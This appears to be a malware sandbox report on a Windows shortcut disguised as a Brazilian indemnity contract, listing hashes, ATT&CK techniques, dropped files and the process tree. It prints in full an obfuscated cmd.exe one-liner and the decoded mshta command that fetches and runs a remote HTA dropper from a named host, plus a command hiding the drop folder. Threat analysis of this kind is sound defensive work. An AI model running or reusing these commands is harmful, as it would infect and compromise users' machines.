99205266e44d644d77a88de779712759b5802dad97841fcade21a58351bd88d1

Analysis

max time kernel
60s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:45

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General

Target
Contrato_Indeniza_Brasil-QL9M0P.lnk
Size 2KB
Sample260803-py2f1azscx
SHA256 99205266e44d644d77a88de779712759b5802dad97841fcade21a58351bd88d1
MD5 4f2430b32003dae229cda0e826d0bd89
SHA1 b8e5900698eb93912c7c529bb30338278846b831
SHA512 603bdce860d6cb9c91ef4df34b40578cb6cc56ebc6b8e2235d02b7c923b194db114a295fc2ff2e6e0671d93f819a00996e495269990f6ac6a873b0dcf68108a3
TLSH
T155412C843AED05E8F2BB5E72EDBE5790457BB8526D35C59C0840C60D1426B00E677B73
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware defense_evasion discovery execution persistence ransomware spyware

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 10 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4236	mshta.exe
5	4236	mshta.exe
6	4236	mshta.exe
7	4236	mshta.exe
8	4236	mshta.exe
9	4236	mshta.exe
12	4236	mshta.exe
15	4236	mshta.exe
18	4236	mshta.exe
19	4236	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1616	cmd.exe
6120	cmd.exe
6112	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
6120	cmd.exe
5072	PING.EXE

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5072	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
5256	rundll32.exe
5308	rundll32.exe
5588	rundll32.exe
3712	rundll32.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 6112 wrote to memory of 1616	6112	cmd.exe	91
PID 1616 wrote to memory of 4236	1616	cmd.exe	92
PID 4236 wrote to memory of 5308	4236	mshta.exe	95
PID 4236 wrote to memory of 5256	4236	mshta.exe	94
PID 4236 wrote to memory of 5588	4236	mshta.exe	96
PID 4236 wrote to memory of 3712	4236	mshta.exe	97
PID 4236 wrote to memory of 4636	4236	mshta.exe	98
PID 3712 wrote to memory of 4112	3712	rundll32.exe	100

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4636	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-QL9M0P.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6112
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set DN=m35stk&&set Wm=tfa4rv&&set OT=t9nrty2&set TbgUh=winrwyzzwin&set bPm=5lmsh1g&&set WmKh=rwkt8hj&&set tC=fja0&set yWyOX=tmpomtbtmp&set PBpG=logiqejodyxgmdtrhulog&set zxnlB=datxiazrnwlaidgydat&set VEQI=bakarmlbak&set auBH=netxzwnhhbwzjrbnet&set Ghc=bakesbwpkwpjbak&set pi=oldshutqzgdbchhsuold&&set foRNN=ht@tp@s:@//aglo@ba@c@onvite.@co@m@/@h@/e@s@t@ag@io@[email protected]@h@p?r=27@1E@62FD@40@93C@D4D6D&&start /b !bPm:~2,3!!WmKh:~3,1!!tC:~2,1! !foRNN:@=!&&set aDE=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1616
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:4236
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:5256
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:940
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:5308
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:924
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:5588
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:980
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:3712
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:4112
  - - C:\Windows\System32\attrib.exe
      "C:\Windows\System32\attrib.exe" +h +s "C:\fogpbgon\"
      4⤵
      Views/modifies file attributes
      PID:4636
  - - C:\fogpbgon\fogpbgon.exe
      "C:\fogpbgon\fogpbgon.exe" C:\fogpbgon\fogpbgon
      4⤵
      PID:4336
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      PID:3304
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:4460
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
      4⤵
      Executes a command shell one-liner
      System Network Configuration Discovery: Internet Connection Discovery
      PID:6120
    - - C:\Windows\System32\PING.EXE
        
        ping -n 300 -w 1000 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5072

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
Size 808B
SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
MD5 878e958d6bff424e59d1feb51584a01f
SHA1 b11261559bbea40f1874448196e2934277a537e9
SHA512 6481a56d17126cf94901bed6f418af28f63089da57af4258fb13e468063c4d7849f78ca00a0e4a72c249a639afc8304669f99e48a360008f8e64172ab3133213
TLSH
T18D0152CD6E2925408AB18A334AB9C4970DB9724A3AD5910C4453A4A024D07588F0F54E
MD5 SHA1 SHA512 TLSH

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22D536C4B4AD2CEF7AC6B7789FD235E3

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3
Size 283B
SHA256 251ed08cc8f5873098ea5ee083034e7cd99ece955920e12a42e50306a94cb6eb
MD5 7f9d3dc54f928bf6c38576705ad18203
SHA1 2b5e33e5301753684973bfddbc6cfb11d297cf90
SHA512 ef5b01e74a5e49cd0fe887b9d92d830e1052bd93cda7d11ee68829705432a21a9943535de8dff9d77eb3402253adf9d5760eda03ca80a0c3495f83396d648967
TLSH
T102D0C29CA9273E660FE69B454A50C087AEE610CA9C15B648008EC45B0887B02EA962AE
MD5 SHA1 SHA512 TLSH

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9DD9D8EB1173CB9DA0F6DAA87673F76F

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\9DD9D8EB1173CB9DA0F6DAA87673F76F
Size 35KB
SHA256 7a428311e98280aff08b814fe3c5549da2fa2cfdb1bd0e27096068db79211ac8
MD5 da4c984e1122fb17b3a0285371ff3368
SHA1 aff0704f601458c699b6c7f4ba9a046373992697
SHA512 10993cc947511405b9cc371ee08e6b089b8990965c83ef2528b933ff35ab85292dfddd503682955d54e53a6775fed9a23d4a332f2605444ec972d8932210c945
SSDEEP 768:6sPt1rUfcHoMFLpLmBEOD00pb7tcqo+0TmhsqfN0d+wtHKT:brUfAo+y900F7jTCswtHO
TLSH
T1A4F24FA8AC3BF9A1AD4B5F718DEFDA9632F512C52D31922E4E306E405C13A5BDF57080
MD5 SHA1 SHA512 SSDEEP TLSH

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103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
Size 192B
SHA256 a537ee2f9cf24cc947c96ab5492aa8f394a4a4f0a1d9ab73a9e3a6dd3ca74dda
MD5 59e4997b33262a150127753ce173b358
SHA1 9e5f89400d69a526a4f625ed0246dc319caa0bf0
SHA512 86f7b28d208e52f619edd47a59f282cb4d820f317aef5b62dd9e60282a1ac90be05b19bbf81153f3c6856a603c09d6d2e3619348db81aa2cedeb40b17c55c371
TLSH
T18BC0801C19551507F194437C11C13A0357104501E245CF0517F12604C956B152934C2D
MD5 SHA1 SHA512 TLSH

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22D536C4B4AD2CEF7AC6B7789FD235E3

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3
Size 192B
SHA256 54a0101e367f71b7c2aa237e8c789f3dca4e8ec80e6fd571c6f63cad09ff5da4
MD5 0cbdd6818603973d9faaa4afeac0a90d
SHA1 b24ebfa10a6f753359963db8e0a8147686f85604
SHA512 28a646267acd13e1c8e5ccb8083744f4a69bedf15eacb360e9a497db72efdc899ffb2e91780425f418fbe061ef739c9a6687b71e7f70ec849a226abab43774d6
TLSH
T1CBC08C182BA20606E2E80BBE22D02A83AA18D002F2818F4A263A2A489D20B181C30C1C
MD5 SHA1 SHA512 TLSH

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9DD9D8EB1173CB9DA0F6DAA87673F76F

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9DD9D8EB1173CB9DA0F6DAA87673F76F
Size 246B
SHA256 d19479ab1c8d67b402ba71705f890bbe1571a9aff2817b309439bb6be22450bd
MD5 ccf1643caea8e0a75f93d8c8732e12fa
SHA1 dc57c4caa1a1c7283fd2f710145f98636adaedf1
SHA512 13b5f2016a04b5b1334432c549a2de9798eea634a989a3c2f9396b718a0ec00b94055c7b40f81449d792fd8aa12957c8f89b698788cf28d1fac5ebc9802c0277
TLSH
T156D0801837656212F074C97F996102518D40B256B4D44F0D05F1550C8567F133C50D2C
MD5 SHA1 SHA512 TLSH

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a1.zip

Path C:\fogpbgon\a1.zip
Size 494KB
SHA256 c7f7949365d3ab482ad8c062bae3c201bfbc5819c3a6c8dec6fc46f1dcbec40f
MD5 76fe03aefbbae88b1ddbdfc0e74a79a4
SHA1 8d7a1f386bb363ebb77ea466ea934d4b1abeb71e
SHA512 b0647519cffdbf7efd7c21ba980702c1d7f870c89e57dc2fa3c849ed42a50af6dab71b55cc3499b3bf56a323344f9bbcdc7e971eb263d588379d414029834bc3
SSDEEP 12288:dxU7hblQnL+/dh+Gez4yOGtBan225oCWp8SrIV:dq7hblmK/dgGeVlk22aCarIV
TLSH
T1CAB4231C22C4BD086D3D97FB58539F7405E6269E14B8024CE18B73C4ABCEF815F829E5
MD5 SHA1 SHA512 SSDEEP TLSH

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a2.zip

Path C:\fogpbgon\a2.zip
Size 1.3MB
SHA256 62396e8a1696f74975ce0ee8a250cd61d712d3f80f09fad3e54dc5e980b7ffe8
MD5 63dc78fbe4ac55b69ee8b3879489284a
SHA1 24d751a387f787fa015bca91cef55abb4ff1df8e
SHA512 2d4bb6bdfca2d07812f3fcd89a3e10d73de738f3854cf4dede344e7396028a1f2b54ef78416c013b4a591e3c6ec82a878274f46897833f12b990dd2c06700754
SSDEEP 24576:YAuYNwua6NduNqjRt1pSdu4E0mcKptG6lgVT0kQkmSp9QpDH1tMlya2:YAuSw7Ku4xpSd7m7BlgVQmvQJH1tT
TLSH
T14F553355B7E9DF14E07D52A1C9C14ED42EE304ADBFE8CC081AC8478895D236DA948EBA
MD5 SHA1 SHA512 SSDEEP TLSH

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a3.zip

Path C:\fogpbgon\a3.zip
Size 2KB
SHA256 222a144106651efe56566cc52a8a993b6eb3b6a68ce8bc5d33ac9d182b362c22
MD5 b6b7a282a16c4e34836d14c5a53910e3
SHA1 515bd30786205c4226603cdd7def0436854c5f03
SHA512 34fbdcca2b8adaf673017346ae85325ff8e65327c40bb0a010e7280ca97d35c7b4747436f6b52e58cd95b8b0c4cdc06aa75e18f648ac6f8d80faff168b9cdbd9
TLSH
T126411AE98D6CBDA1D69E79789A14587156372EC499C061691EBEEC442230398CB2E82C
MD5 SHA1 SHA512 TLSH

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fogpbgon

Path C:\fogpbgon\fogpbgon
Size 1.3MB
SHA256 30af0a4b9b7c7d8cf41c169be3d51c03d9dabd0c18ed699b31850b618b5db55e
MD5 3acd16edf0a4a2c6ece5bdb47bbfe252
SHA1 f2c68a96d6233778d1900a859ff089284c1672f2
SHA512 db484aa924751393a2bb72b482dea0882e2ea077a48f24e9535c1dd4fb49491779832533a50b509770220503952dc01253e62205b3a376ee4660d7c7f3348172
SSDEEP 24576:wAsYBwwc6NnutqPLth3SduIE0mcKppG2RgzTckokmGpVQpHH3tghysG:wAsiw7WuYn3Sdpm7PRgzIYrQhH3tb
TLSH
T121553355B7EDDF04E0BD51A1D9C14ED42EE304ADBFE8CC081AC84788D5D236DA948EBA
MD5 SHA1 SHA512 SSDEEP TLSH

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fogpbgon.exe

Path C:\fogpbgon\fogpbgon.exe
Size 957KB
SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
MD5 279274f8a137bf31425a9c2c14444b66
SHA1 6f7f971406854309d94139aa70bdc772308aff52
SHA512 2e69e99ae2c2f0c3361351853ecfcd1982ea542ef8aff9314e991642f106a87d45479f21f53367ad93b29ce9d98b60706ff9554a9c9d2a793fbed1589b90a85d
SSDEEP 24576:8SmEH7kpRArkvBz1oxovFDVeAj2HoB3a33rfBH:827kpRA4R1oGDVeQXsrf
TLSH
T11B259E0373D18022FF93A9721E5FE72656BC6D2A0323956F13D81EB9F9305B14A1E672
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/4336-115-0x0000000000400000-0x00000000005C7000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads